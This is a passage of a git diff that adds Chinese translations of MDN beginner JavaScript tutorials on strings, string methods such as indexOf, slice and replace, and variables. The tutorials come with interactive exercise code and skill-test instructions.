class="brush: js">'Front ' + 242; +</pre> + 您可能会认为这会抛出一个错误,但它运行得很好。<br> + 试图将字符串表示为一个数字并不是很讲的通,但是用数字表示一个字符串则不然,因此浏览器很聪明地将数字转换为字符串,并将这两个字符串连接在一起。</li> + <li>你甚至可以用两个数字来这么操作——你可以通过用引号将数字包装成一个字符串。尝试以下方法(我们使用typeof操作符来检查变量是一个数字还是一个字符串): + <pre class="brush: js">let myDate = '19' + '67'; +typeof myDate;</pre> + </li> + <li>如果您有一个数值变量,您想要将其转换为字符串,并且不改变其他地方,或者您想将一个字符串转换为一个数字而不改变其其他地方,那么您可以使用以下两个构造: + <ul> + <li>如果可以的话, {{jsxref("Number")}} 对象将把传递给它的任何东西转换成一个数字。<br> + 试一试: + <pre class="brush: js">let myString = '123'; +let myNum = Number(myString); +typeof myNum;</pre> + </li> + <li>另一方面,每个数字都有一个名为 <a href="/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Number/toString">toString()</a> 的方法,它将把它转换成等价的字符串。<br> + 试试这个: + <pre class="brush: js">let myNum = 123; +let myString = myNum.toString(); +typeof myString;</pre> + </li> + </ul> + 这些结构在某些情况下是非常有用的,例如,如果一个用户将一个数字输入到一个表单文本字段中,这将是一个字符串,但是如果你想要将这个数字添加到某些东西中时,你需要它是一个数字,所以你可以通过 <code>Number()</code> 来处理这个问题。我们在<a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/first-splash/number-guessing-game.html#L54">数字猜谜游戏中第54行</a>就是这么做的。</li> +</ol> + +<h2 id="结论">结论</h2> + +<p>这就是JavaScript中所涉及的字符串的基本内容。在下一篇文章中,我们将在此基础上,研究JavaScript中字符串的一些内置方法,以及如何使用它们来操纵我们的字符串,使之成为我们想要的形式。</p> + +<p>{{PreviousMenuNext("Learn/JavaScript/First_steps/Math", "Learn/JavaScript/First_steps/Useful_string_methods", "Learn/JavaScript/First_steps")}}</p> + +<p> + <audio style="display: none;"></audio> +</p> diff --git a/files/zh-cn/learn/javascript/first_steps/test_your_skills_colon__variables/index.html b/files/zh-cn/learn/javascript/first_steps/test_your_skills_colon__variables/index.html new file mode 100644 index 0000000000..af9b56b9ae --- /dev/null +++ b/files/zh-cn/learn/javascript/first_steps/test_your_skills_colon__variables/index.html @@ -0,0 +1,78 @@ +--- +title: 'Test your skills: variables' +slug: 'Learn/JavaScript/First_steps/Test_your_skills:_variables' +translation_of: 'Learn/JavaScript/First_steps/Test_your_skills:_variables' +--- +<div>{{learnsidebar}}</div> + +<p>这个能力测试用于评估你自己是否理解了 <a href="/zh-CN/docs/Learn/JavaScript/First_steps/Variables">如何存储你需要的信息 — 变量</a> 这篇文章.</p> + +<div class="blockIndicator note"> +<p><strong>Note</strong>: You can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as <a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">jsFiddle</a>, or <a href="https://glitch.com/">Glitch</a> to work on the tasks.<br> + <br> + 如果你遇到问题需要我们帮助 — 请前往在这一页的底部的 {{anch("Assessment or further help")}} 部分.</p> +</div> + +<div class="blockIndicator note"> +<p><strong>Note</strong>: In the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's JavaScript console, in the case of the downloadable version).</p> +</div> + +<h2 id="Variables_1">Variables 1</h2> + +<p>In this task we want you to:</p> + +<ul> + <li>Declare a variable called <code>myName</code>.</li> + <li>Initialize <code>myName</code> with a suitable value, on a separate line (you can use your actual name, or something else).</li> + <li>Declare a variable called <code>myAge</code> and initialize it with a value, on the same line.</li> +</ul> + +<p>Try updating the live code below to recreate the finished example:</p> + +<p>{{EmbedGHLiveSample("learning-area/javascript/introduction-to-js-1/tasks/variables/variables1.html", '100%', 400)}}</p> + +<div class="blockIndicator note"> +<p><a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/tasks/variables/variables1-download.html">Download the starting point for this task</a> to work in your own editor or in an online editor.</p> +</div> + +<h2 id="Variables_2">Variables 2</h2> + +<p>In this task you need to add a new line to correct the value stored in the existing <code>myName</code> variable to your own name.</p> + +<p>Try updating the live code below to recreate the finished example:</p> + +<p>{{EmbedGHLiveSample("learning-area/javascript/introduction-to-js-1/tasks/variables/variables2.html", '100%', 400)}}</p> + +<div class="blockIndicator note"> +<p><a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/tasks/variables/variables2-download.html">Download the starting point for this task</a> to work in your own editor or in an online editor.</p> +</div> + +<h2 id="Variables_3">Variables 3</h2> + +<p>The final task for now — in this case you are provided with some existing code, which has two errors present in it. The results panel should be outputting the name <code>Chris</code>, and a statement about how old Chris will be in 20 years' time. How can you fix the problem and correct the output?</p> + +<p>Try updating the live code below to recreate the finished example:</p> + +<p>{{EmbedGHLiveSample("learning-area/javascript/introduction-to-js-1/tasks/variables/variables3.html", '100%', 400)}}</p> + +<div class="blockIndicator note"> +<p><a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/tasks/variables/variables3-download.html">Download the starting point for this task</a> to work in your own editor or in an online editor.</p> +</div> + +<h2 id="Assessment_or_further_help">Assessment or further help</h2> + +<p>You can practice these examples in the Interactive Editors above.</p> + +<p>If you would like your work assessed, or are stuck and want to ask for help:</p> + +<ol> + <li>Put your work into an online shareable editor such as <a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">jsFiddle</a>, or <a href="https://glitch.com/">Glitch</a>. You can write the code yourself, or use the starting point files linked to in the above sections.</li> + <li>Write a post asking for assessment and/or help at the <a href="https://discourse.mozilla.org/c/mdn/learn">MDN Discourse forum Learning category</a>. Your post should include: + <ul> + <li>A descriptive title such as "Assessment wanted for Variables 1 skill test".</li> + <li>Details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment.</li> + <li>A link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). This is a good practice to get into — it's very hard to help someone with a coding problem if you can't see their code.</li> + <li>A link to the actual task or assessment page, so we can find the question you want help with.</li> + </ul> + </li> +</ol> diff --git a/files/zh-cn/learn/javascript/first_steps/useful_string_methods/index.html b/files/zh-cn/learn/javascript/first_steps/useful_string_methods/index.html new file mode 100644 index 0000000000..0dda086985 --- /dev/null +++ b/files/zh-cn/learn/javascript/first_steps/useful_string_methods/index.html @@ -0,0 +1,474 @@ +--- +title: 有用的字符串方法 +slug: Learn/JavaScript/First_steps/Useful_string_methods +tags: + - JavaScript + - String + - 大写 + - 字符串 + - 小写 + - 替换 + - 格式 + - 长度 +translation_of: Learn/JavaScript/First_steps/Useful_string_methods +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/JavaScript/First_steps/Strings", "Learn/JavaScript/First_steps/Arrays", "Learn/JavaScript/First_steps")}}</div> + +<p class="summary">现在我们学习基本的字符串语法, 让我们开始思考一下我们可以对内置方法的字符串做什么有用的操作,例如查找文本字符串的长度,加入和分割字符串, 将字符串中的一个字符替换为另一个字符。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提:</th> + <td>基本的电脑知识, 对HTML和CSS有一定的了解,最好是懂一点javascript知识。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>明白字符串这个对象,学会使用字符串的基本方法去处理字符串</td> + </tr> + </tbody> +</table> + +<h2 id="把字符串当作对象">把字符串当作对象</h2> + +<p id="Useful_string_methods">我们曾经说过,现在我们重申一遍—在javascript中,一切东西都可以被当作对象。例如我们创建一个字符串。</p> + +<pre class="brush: js">let string = 'This is my string';</pre> + +<p>一旦你的变量成为字符串对象实例, 你就可以有大量的原型和方法编辑它. 如果你进入{{jsxref("String")}}对象页并观察页面旁边的列表你就会明白这一点。</p> + +<p><strong>可能现在你的大脑开始迷糊了,不要担心!</strong> 在你的学习进程中你真的不需要过早地理解大部分这方面知识,但是接下来我们这儿要看的是你要经常使用的一些知识。</p> + +<p>现在我们在控制台中加些示例 ,我们已经提供了以下示例(你可在单独打开控制台标签或窗口,或者选择使用<a href="/zh-CN/docs/Learn/Discover_browser_developer_tools">浏览器开发者控制台</a>)</p> + +<div class="hidden"> +<h6 id="Hidden_code">Hidden code</h6> + +<pre class="brush: html"><!DOCTYPE html> +<html> + <head> + <meta charset="utf-8"> + <title>JavaScript console</title> + <style> + * { + box-sizing: border-box; + } + + html { + background-color: #0C323D; + color: #809089; + font-family: monospace; + } + + body { + max-width: 700px; + } + + p { + margin: 0; + width: 1%; + padding: 0 1%; + font-size: 16px; + line-height: 1.5; + float: left; + } + + .input p { + margin-right: 1%; + } + + .output p { + width: 100%; + } + + .input input { + width: 96%; + float: left; + border: none; + font-size: 16px; + line-height: 1.5; + font-family: monospace; + padding: 0; + background: #0C323D; + color: #809089; + } + + div { + clear: both; + } + + </style> + </head> + <body> + + + </body> + + <script> + var geval = eval; + function createInput() { + var inputDiv = document.createElement('div'); + var inputPara = document.createElement('p'); + var inputForm = document.createElement('input'); + + inputDiv.setAttribute('class', 'input'); + inputPara.textContent = '>'; + inputDiv.appendChild(inputPara); + inputDiv.appendChild(inputForm); + document.body.appendChild(inputDiv); + + inputForm.addEventListener('change', executeCode); + } + + function executeCode(e) { + try { + var result = geval(e.target.value); + } catch(e) { + var result = 'error — ' + e.message; + } + + var outputDiv = document.createElement('div'); + var outputPara = document.createElement('p'); + + outputDiv.setAttribute('class','output'); + outputPara.textContent = 'Result: ' + result; + outputDiv.appendChild(outputPara); + document.body.appendChild(outputDiv); + + e.target.disabled = true; + e.target.parentNode.style.opacity = '0.5'; + + createInput() + } + + createInput(); + + </script> +</html></pre> +</div> + +<p>{{ EmbedLiveSample('Hidden_code', '100%', 300) }}</p> + +<h3 id="获得字符串的长度">获得字符串的长度</h3> + +<p>这很简单 — 你可以很轻松的使用 {{jsxref("String.prototype.length", "length")}} 属性. 尝试输入以下的两行代码:</p> + +<pre class="brush: js">let browserType = 'mozilla'; +browserType.length;</pre> + +<p>这个结果应该返回一个数字:7,因为"mozilla"的长度为7个字符. 说字符串的长度有用是有很多原因的, 例如,你可能想算出一连串名字的长度,并用名字长度来作为名字排序的依据,亦或让一个用户知道他输入的用户名太长,已经超出了输入的字符串长度限制。</p> + +<h3 id="检索特定字符串字符">检索特定字符串字符</h3> + +<p>在相关的注释中,您可以使用方括号表示法返回字符串中的任何字符 - 这意味着您可以在变量名的末尾包含方括号([ ])。 在方括号内,您可以包含要返回的字符的编号,例如,您要检索第一个字母,可以这样做:</p> + +<pre class="brush: js">browserType[0];</pre> + +<p>电脑从0开始,不是1! 要检索任何字符串的最后一个字符,我们可以使用下面这行,将这种技术与我们上面看到的length属性相结合起来:</p> + +<pre class="brush: js">browserType[browserType.length-1];</pre> + +<p>“mozilla”的长度为7,但由于计数从0开始,所以字符位置为6,因此需要长度为<strong>length-1</strong>。 例如,您可以使用它来查找一系列字符串的第一个字母,并按字母顺序排列。</p> + +<h3 id="在字符串中查找子字符串并提取它">在字符串中查找子字符串并提取它</h3> + +<ol> + <li>有时候你会想要找出一个较小的字符串是否存在于一个较大的字符串中(我们通常会说一个字符串中存在一个子字符串)。 这可以使用{{jsxref("String.prototype.indexOf()","indexOf()")}}方法来完成,该方法需要一个{{glossary("parameter")}} — 你想要搜索的子字符串。 尝试以下: + <pre class="brush: js">browserType.indexOf('zilla');</pre> + 结果是2,因为子字符串“zilla”从“mozilla”内的位置2(0,1,2 —— 所以从第3个字符)开始。 这样的代码可以用来过滤字符串。 例如,假设我们有一个Web地址列表,但我们只想打印出包含“mozilla”的那些地址。</li> +</ol> + +<ol start="2"> + <li>这可以用另一种可能更有效的方式来实现。 尝试以下: + <pre class="brush: js">browserType.indexOf('vanilla');</pre> + 这应该会得到 <code>-1</code> 的结果 —— 当在主字符串中找不到子字符串(在本例中为“vanilla”)时将返回 <code>-1</code>。<br> + <br> + 您可以使用它来查找不包含子串“mozilla”的所有字符串实例,或者如果使用否定运算符,请执行以下操作。 你可以这样做: + <pre class="brush: js">if(browserType.indexOf('mozilla') !== -1) { + // do stuff with the string +}</pre> + </li> + <li>当你知道字符串中的子字符串开始的位置,以及想要结束的字符时,{{jsxref("String.prototype.slice()", "slice()")}}可以用来提取 它。 尝试以下: + <pre class="brush: js">browserType.slice(0,3);</pre> + 这时返回"moz"——第一个参数是开始提取的字符位置,第二个参数是提取的最后一个字符的后一个位置。所以提取从第一个位置开始,直到但不包括最后一个位置。(此例中)你也可以说第二个参数等于被返回的字符串的长度。<br> + </li> + <li>此外,如果您知道要在某个字符之后提取字符串中的所有剩余字符,则不必包含第二个参数,而只需要包含要从中提取的字符位置 字符串中的其余字符。 尝试以下: + <pre class="brush: js">browserType.slice(2);</pre> + 这返回“zilla” —— 这是因为2的字符位置是字母z,并且因为没有包含第二个参数,所以返回的子字符串是字符串中的所有剩余字符。</li> +</ol> + +<div class="note"> +<p><strong>Note: </strong><code>slice()</code>的第二个参数是可选的 :如果没有传入这个参数,分片结束位置会在原始字符串的末尾。这个方法也有其他的选项;学习{{jsxref("String.prototype.slice()", "slice()")}}这页,来看看你还能发现什么其他作用。</p> +</div> + +<h3 id="转换大小写">转换大小写</h3> + +<p>字符串方法{{jsxref("String.prototype.toLowerCase()","toLowerCase()")}}和{{jsxref("String.prototype.toUpperCase()","toUpperCase()")}}字符串并将所有字符分别转换为小写或大写。 例如,如果要在将数据存储在数据库中之前对所有用户输入的数据进行规范化,这可能非常有用。</p> + +<p>让我们尝试输入以下几行来看看会发生什么:</p> + +<pre class="brush: js">let radData = 'My NaMe Is MuD'; +radData.toLowerCase(); +radData.toUpperCase();</pre> + +<h3 id="替换字符串的某部分">替换字符串的某部分</h3> + +<p>您可以使用{{jsxref("String.prototype.replace()","replace()")}}方法将字符串中的一个子字符串替换为另一个子字符串。在基础的层面上, 这个工作非常简单。你当然可以用它做一些更高级的事情,但目前我们不会涉及到。</p> + +<p>它需要两个参数 - 要被替换下的字符串和要被替换上的字符串。 尝试这个例子:</p> + +<pre class="brush: js">browserType.replace('moz','van');</pre> + +<p>注意,在实际程序中,想要真正更新 <code>browserType</code> 变量的值,您需要设置变量的值等于刚才的操作结果;它不会自动更新子串的值。所以事实上你需要这样写:<code>browserType = browserType.replace('moz','van');</code>。</p> + +<h2 id="主动学习的示例">主动学习的示例</h2> + +<p>在本节中,我们会让您尽力编写一些字符串操作代码。 在下面的每个练习中,我们有一个字符串数组,一个循环,用于处理数组中的每个值,并将其显示在项目符号列表中。 您现在不需要了解数组或循环 - 这些将在以后的文章中解释。 所有你需要做的每一种情况都是写出将以我们想要的格式输出字符串的代码。</p> + +<p>每个示例都附带一个“重置”按钮,您可以使用该按钮重置代码,如果您犯了错误,并且无法再次工作,并且显示解决方案按钮,您可以按下来看到一个潜在的答案,如果你真的卡住了。</p> + +<h3 id="过滤问候留言">过滤问候留言</h3> + +<p>在第一个练习中,我们将简单介绍一下 - 我们有一系列的问候卡片消息,但我们希望对它们进行排序,以列出圣诞消息。 我们希望您在 <code>if(...)</code> 结构中填写条件测试,以测试每个字符串,并将其打印在列表中,如果它是圣诞消息。</p> + +<ol> + <li>首先考虑一下如何测试每种情况下的消息是否为圣诞消息。 所有这些消息中都有什么字符串,您可以使用什么方法来测试是否存在?</li> + <li>然后,您需要编写<em> 操作数1 操作符 操作数2</em> 形式的条件测试。 左边的东西等于右边的东西吗? 或者在这种情况下,方法调用在左边返回的结果在右边?</li> + <li>提示:在这种情况下,测试方法调用是否不等于某个结果可能更有用。</li> +</ol> + +<div class="hidden"> +<h6 id="Playable_code">Playable code</h6> + +<pre class="brush: html"><div class="output" style="min-height: 125px;"> + +<ul> + +</ul> + +</div> + +<textarea id="code" class="playable-code" style="height: 290px;"> +var list = document.querySelector('.output ul'); +list.innerHTML = ''; +var greetings = ['Happy Birthday!', + 'Merry Christmas my love', + 'A happy Christmas to all the family', + 'You\'re all I want for Christmas', + 'Get well soon']; + +for (var i = 0; i < greetings.length; i++) { + var input = greetings[i]; + // Your conditional test needs to go inside the parentheses + // in the line below, replacing what's currently there + if (greetings[i]) { + var result = input; + var listItem = document.createElement('li'); + listItem.textContent = result; + list.appendChild(listItem); + } +} +</textarea> + +<div class="playable-buttons"> + <input id="reset" type="button" value="Reset"> + <input id="solution" type="button" value="Show solution"> +</div> +</pre> + +<pre class="brush: js">var textarea = document.getElementById('code'); +var reset = document.getElementById('reset'); +var solution = document.getElementById('solution'); +var code = textarea.value; + +function updateCode() { + eval(textarea.value); +} + +reset.addEventListener('click', function() { + textarea.value = code; + updateCode(); +}); + +solution.addEventListener('click', function() { + textarea.value = jsSolution; + updateCode(); +}); + +var jsSolution = 'var list = document.querySelector(\'.output ul\');\nlist.innerHTML = \'\';\nvar greetings = [\'Happy Birthday!\',\n \'Merry Christmas my love\',\n \'A happy Christmas to all the family\',\n \'You\\\'re all I want for Christmas\',\n \'Get well soon\'];\n\nfor(var i = 0; i < greetings.length; i++) {\n var input = greetings[i];\n if(greetings[i].indexOf(\'Christmas\') !== -1) {\n var result = input;\n var listItem = document.createElement(\'li\');\n listItem.textContent = result;\n list.appendChild(listItem);\n }\n}'; + +textarea.addEventListener('input', updateCode); +window.addEventListener('load', updateCode); +</pre> +</div> + +<p>{{ EmbedLiveSample('Playable_code', '100%', 490) }}</p> + +<h3 id="大写修正">大写修正</h3> + +<p>在这个练习中,我们有英国城市的名字,但是这个大写字母都搞砸了。 我们希望你改变它们,使它们都是小写字母,除了首字母。 一个很好的方法是:</p> + +<ol> + <li>将输入变量中包含的整个字符串转换为小写,并将其存储在新变量中。</li> + <li>在此新变量中获取字符串的第一个字母并将其存储在另一个变量中。</li> + <li>将此最新变量用作子字符串,将小写字符串的第一个字母从小写更改为大写。 将此替换过程的结果存储在另一个新变量中。</li> + <li>让 <code>result</code> 变量的值与最终结果相等,而不是使用 <code>input</code> 变量。</li> +</ol> + +<div class="note"> +<p><strong>Note</strong>: 一个提示 - 字符串方法的参数不必是字符串文字; 它们也可以是变量,甚至是在其上调用方法的变量。</p> +</div> + +<div class="hidden"> +<h6 id="Playable_code_2">Playable code 2</h6> + +<pre class="brush: html"><div class="output" style="min-height: 125px;"> + +<ul> + +</ul> + +</div> + +<textarea id="code" class="playable-code" style="height: 250px;"> +var list = document.querySelector('.output ul'); +list.innerHTML = ''; +var cities = ['lonDon', 'ManCHESTer', 'BiRmiNGHAM', 'liVERpoOL']; +for(var i = 0; i < cities.length; i++) { + var input = cities[i]; + // write your code just below here + + var result = input; + var listItem = document.createElement('li'); + listItem.textContent = result; + list.appendChild(listItem); +} +</textarea> + +<div class="playable-buttons"> + <input id="reset" type="button" value="Reset"> + <input id="solution" type="button" value="Show solution"> +</div> +</pre> + +<pre class="brush: js">var textarea = document.getElementById('code'); +var reset = document.getElementById('reset'); +var solution = document.getElementById('solution'); +var code = textarea.value; + +function updateCode() { + eval(textarea.value); +} + +reset.addEventListener('click', function() { + textarea.value = code; + updateCode(); +}); + +solution.addEventListener('click', function() { + textarea.value = jsSolution; + updateCode(); +}); + +var jsSolution = 'var list = document.querySelector(\'.output ul\');\nlist.innerHTML = \'\';\nvar cities = [\'lonDon\', \'ManCHESTer\', \'BiRmiNGHAM\', \'liVERpoOL\'];\n\nfor(var i = 0; i < cities.length; i++) {\n var input = cities[i];\n var lower = input.toLowerCase();\n var firstLetter = lower.slice(0,1);\n var capitalized = lower.replace(firstLetter,firstLetter.toUpperCase());\n var result = capitalized;\n var listItem = document.createElement(\'li\');\n listItem.textContent = result;\n list.appendChild(listItem);\n\n}'; + +textarea.addEventListener('input', updateCode); +window.addEventListener('load', updateCode); +</pre> +</div> + +<p>{{ EmbedLiveSample('Playable_code_2', '100%', 450) }}</p> + +<h3 id="从原先部分得到新字符串">从原先部分得到新字符串</h3> + +<p>在最后一个练习中,阵列包含一堆字符串,其中包含有关英格兰北部火车站的信息。 字符串是包含三字母站代码的数据项,后面是一些机器可读数据,后跟分号,后跟可读站名。 例如:</p> + +<pre>MAN675847583748sjt567654;Manchester Piccadilly</pre> + +<p>我们要提取站点代码和名称,并将它们放在一起,具有以下结构的字符串:</p> + +<pre>MAN: Manchester Piccadilly</pre> + +<p>我们建议这样做:</p> + +<ol> + <li>提取三个字母的站代码并将其存储在一个新的变量中。</li> + <li>查找分号的字符索引号。</li> + <li>使用分号字符索引号作为参考点提取人可读的站名,并将其存储在新变量中。</li> + <li>连接两个新的变量和一个字符串文字,使最终的字符串。</li> + <li>将 <code>result</code> 变量的值更改为等于最终的字符串,而不是 <code>input</code>。</li> +</ol> + +<div class="hidden"> +<h6 id="Playable_code_3">Playable code 3</h6> + +<pre class="brush: html"><div class="output" style="min-height: 125px;"> + +<ul> + +</ul> + +</div> + +<textarea id="code" class="playable-code" style="height: 285px;"> +var list = document.querySelector('.output ul'); +list.innerHTML = ''; +var stations = ['MAN675847583748sjt567654;Manchester Piccadilly', + 'GNF576746573fhdg4737dh4;Greenfield', + 'LIV5hg65hd737456236dch46dg4;Liverpool Lime Street', + 'SYB4f65hf75f736463;Stalybridge', + 'HUD5767ghtyfyr4536dh45dg45dg3;Huddersfield']; + +for (var i = 0; i < stations.length; i++) { + var input = stations[i]; + // write your code just below here + + var result = input; + var listItem = document.createElement('li'); + listItem.textContent = result; + list.appendChild(listItem); +} +</textarea> + +<div class="playable-buttons"> + <input id="reset" type="button" value="Reset"> + <input id="solution" type="button" value="Show solution"> +</div> +</pre> + +<pre class="brush: js">var textarea = document.getElementById('code'); +var reset = document.getElementById('reset'); +var solution = document.getElementById('solution'); +var code = textarea.value; + +function updateCode() { + eval(textarea.value); +} + +reset.addEventListener('click', function() { + textarea.value = code; + updateCode(); +}); + +solution.addEventListener('click', function() { + textarea.value = jsSolution; + updateCode(); +}); + +var jsSolution = 'var list = document.querySelector(\'.output ul\');\nlist.innerHTML = \'\';\nvar stations = [\'MAN675847583748sjt567654;Manchester Piccadilly\',\n \'GNF576746573fhdg4737dh4;Greenfield\',\n \'LIV5hg65hd737456236dch46dg4;Liverpool Lime Street\',\n \'SYB4f65hf75f736463;Stalybridge\',\n \'HUD5767ghtyfyr4536dh45dg45dg3;Huddersfield\'];\n\nfor(var i = 0; i < stations.length; i++) {\n var input = stations[i];\n var code = input.slice(0,3);\n var semiC = input.indexOf(\';\');\n var name = input.slice(semiC + 1);\n var final = code + \': \' + name;\n var result = final;\n var listItem = document.createElement(\'li\');\n listItem.textContent = result;\n list.appendChild(listItem);\n}'; + + +textarea.addEventListener('input', updateCode); +window.addEventListener('load', updateCode); +</pre> +</div> + +<p>{{ EmbedLiveSample('Playable_code_3', '100%', 485) }}</p> + +<h2 id="结论">结论</h2> + +<p>你不能逃避的事实是在编程中处理单词和句子是非常重要的——特别是在JavaScript中,因为网站都是关于与人沟通的。 本文已经给出了您现在需要了解的关于操作字符串的基础知识。这将在未来进入更复杂的主题时为您服务。 接下来,我们将在短期内研究我们需要关注的最后一个主要的数据类型——数组。</p> + +<p>{{PreviousMenuNext("Learn/JavaScript/First_steps/Strings", "Learn/JavaScript/First_steps/Arrays", "Learn/JavaScript/First_steps")}}</p> diff --git a/files/zh-cn/learn/javascript/first_steps/variables/index.html b/files/zh-cn/learn/javascript/first_steps/variables/index.html new file mode 100644 index 0000000000..3ba4e02f60 --- /dev/null +++ b/files/zh-cn/learn/javascript/first_steps/variables/index.html @@ -0,0 +1,431 @@ +--- +title: 如何存储你需要的信息 — 变量 +slug: Learn/JavaScript/First_steps/Variables +tags: + - 初始化 + - 变量 + - 声明 + - 字符串 + - 数组 +translation_of: Learn/JavaScript/First_steps/Variables +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/JavaScript/First_steps/What_went_wrong", "Learn/JavaScript/First_steps/Math", "Learn/JavaScript/First_steps")}}</div> + +<p class="summary">在读完之前的一些文章之后,你现在应该大概知道了JavaScript是什么,你能用它干什么,它是怎么跟其他web技术(HTML,CSS)协同工作的,以及它有哪些主要特性。在本章节,我们将开始学习JavaScript的基础,了解如何使用 -- 变量。</p> + +<table class="learn-box"> + <tbody> + <tr> + <th scope="row">预备知识:</th> + <td>电脑基础知识,了解基本的 HTML 和 CSS,了解JavaScript是什么。</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>熟悉JavaScript的变量使用</td> + </tr> + </tbody> +</table> + +<h2 id="需要的工具">需要的工具</h2> + +<p>在本章中,你将要输入一些代码来测试你对相关内容的理解。如果你是用的桌面浏览器,输入这些代码最好的地方是浏览器的JavaScript终端,(参考 <a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">什么是浏览器开发工具</a> 查看如何使用这些工具)。</p> + +<p>当然,我们也提供了一个简单的JavaScript终端,嵌入在下文的页面中,以便你更容易的输入和测试这些代码。</p> + +<h2 id="变量是什么">变量是什么?</h2> + +<p>一个变量,就是一个用于存放数值的容器。这个数值可能是一个用于累加计算的数字,或者是一个句子中的字符串。变量的独特之处在于它存放的数值是可以改变的。让我们看一个简单的例子:</p> + +<pre class="brush: html notranslate"><button>Press me</button></pre> + +<pre class="brush: js notranslate">const button = document.querySelector('button'); + +button.onclick = function() { + let name = prompt('What is your name?'); + alert('Hello ' + name + ', nice to see you!'); +}</pre> + +<p>{{ EmbedLiveSample('变量是什么', '100%', 50, "", "", "hide-codepen-jsfiddle") }}</p> + +<p>在上面的例子中,点击按钮之后,第一行代码会在屏幕上弹出一个对话框,让你输入名字,然后存储输入的名字到一个变量。第二行代码将会显示包含你名字的欢迎信息,你的名字就是从之前的变量里面读取的。</p> + +<p>为了理解变量的作用,我们可以思考一下,如果不使用变量,我们实现上述功能的代码将是这样的:</p> + +<pre class="example-bad notranslate">let name = prompt('What is your name?'); + +if (name === 'Adam') { + alert('Hello Adam, nice to see you!'); +} else if (name === 'Alan') { + alert('Hello Alan, nice to see you!'); +} else if (name === 'Bella') { + alert('Hello Bella, nice to see you!'); +} else if (name === 'Bianca') { + alert('Hello Bianca, nice to see you!'); +} else if (name === 'Chris') { + alert('Hello Chris, nice to see you!'); +} + +// ... and so on ...</pre> + +<p>你可能暂时还没有完全理解这些代码和语法,但是你应该能够理解到 -- 如果我们没有变量,我们就不得不写大量的代码去枚举和检查输入的名字,然后去显示它们。这样做显然是低效率和不可行的 -- 你没有办法列举出所有可能的输入。</p> + +<p>变量的另一个特性就是它们能够存储任何的东西 -- 不只是字符串和数字。变量可以存储更复杂的数据,甚至是函数。你将在后续的内容中体验到这些用法。</p> + +<p><u><strong>我们说,变量是用来存储数值的,那么有一个重要的概念需要区分。变量不是数值本身,它们仅仅是一个用于存储数值的容器。你可以把变量想象成一个个用来装东西的纸箱子。</strong></u></p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13506/boxes.png" style="display: block; height: 436px; margin: 0px auto; width: 1052px;"></p> + +<h2 id="声明变量">声明变量</h2> + +<p>要想使用变量,你需要做的第一步就是创建它 -- 更准确的说,是声明一个变量。声明一个变量的语法是在 <code>var</code> 或 <code>let</code> 关键字之后加上这个变量的名字:</p> + +<pre class="brush: js notranslate">let myName; +let myAge;</pre> + +<p>在这里我们声明了两个变量 <code>myName</code> 和 <code>myAge</code>. 那么现在尝试输入这些代码到你的浏览器终端或者下面提供的JavaScript终端 (你也可以在另一个独立的标签页或窗口 <a href="https://mdn.github.io/learning-area/javascript/introduction-to-js-1/variables/index.html">open this consol</a> ). 此外,你也可以多声明几个变量.</p> + +<div class="hidden"> +<h6 id="Hidden_code">Hidden code</h6> + +<pre class="brush: html notranslate"><!DOCTYPE html> +<html> + <head> + <meta charset="utf-8"> + <title>JavaScript console</title> + <style> + * { + box-sizing: border-box; + } + + html { + background-color: #0C323D; + color: #809089; + font-family: monospace; + } + + body { + max-width: 700px; + } + + p { + margin: 0; + width: 1%; + padding: 0 1%; + font-size: 16px; + line-height: 1.5; + float: left; + } + + .input p { + margin-right: 1%; + } + + .output p { + width: 100%; + } + + .input input { + width: 96%; + float: left; + border: none; + font-size: 16px; + line-height: 1.5; + font-family: monospace; + padding: 0; + background: #0C323D; + color: #809089; + } + + div { + clear: both; + } + + </style> + </head> + <body> + + + </body> + + <script> + let geval = eval; + function createInput() { + let inputDiv = document.createElement('div'); + let inputPara = document.createElement('p'); + let inputForm = document.createElement('input'); + + inputDiv.setAttribute('class','input'); + inputPara.textContent = '>'; + inputDiv.appendChild(inputPara); + inputDiv.appendChild(inputForm); + document.body.appendChild(inputDiv); + + inputForm.addEventListener('change', executeCode); + } + + function executeCode(e) { + try { + let result = geval(e.target.value); + } catch(e) { + let result = 'error — ' + e.message; + } + + let outputDiv = document.createElement('div'); + let outputPara = document.createElement('p'); + + outputDiv.setAttribute('class','output'); + outputPara.textContent = 'Result: ' + result; + outputDiv.appendChild(outputPara); + document.body.appendChild(outputDiv); + + e.target.disabled = true; + e.target.parentNode.style.opacity = '0.5'; + + createInput() + } + + createInput(); + + </script> +</html></pre> +</div> + +<p>{{ EmbedLiveSample('Hidden_code', '100%', 300, "", "", "hide-codepen-jsfiddle") }}</p> + +<div class="note"> +<p><strong>提示</strong>: 在JavaScript中,所有代码指令都会以分号结尾 (<code>;</code>) — 如果忘记加分号,你的单行代码可能执行正常,但是在多行代码在一起的时候就可能出错。所以,最好是养成主动以分号作为代码结尾的习惯。</p> +</div> + +<p>你可以通过使用变量的方式来验证这个变量的数值是否在执行环境中已经存在。例如,</p> + +<pre class="brush: js notranslate">myName; +myAge;</pre> + +<p>以上这两个变量并没有数值,他们是空的容器。当你输入变量名并回车后,你会得到一个<code>undefined</code>的返回值。如果他们并不存在的话,那你就会得到一个报错信息。不信的话,可以尝试输入:</p> + +<pre class="brush: js notranslate">scoobyDoo;</pre> + +<div class="note"> +<p><strong>提示</strong>: 千万不要把两个概念弄混淆了,“一个变量存在,但是没有数值”和“一个变量并不存在” — 他们完全是两回事 — 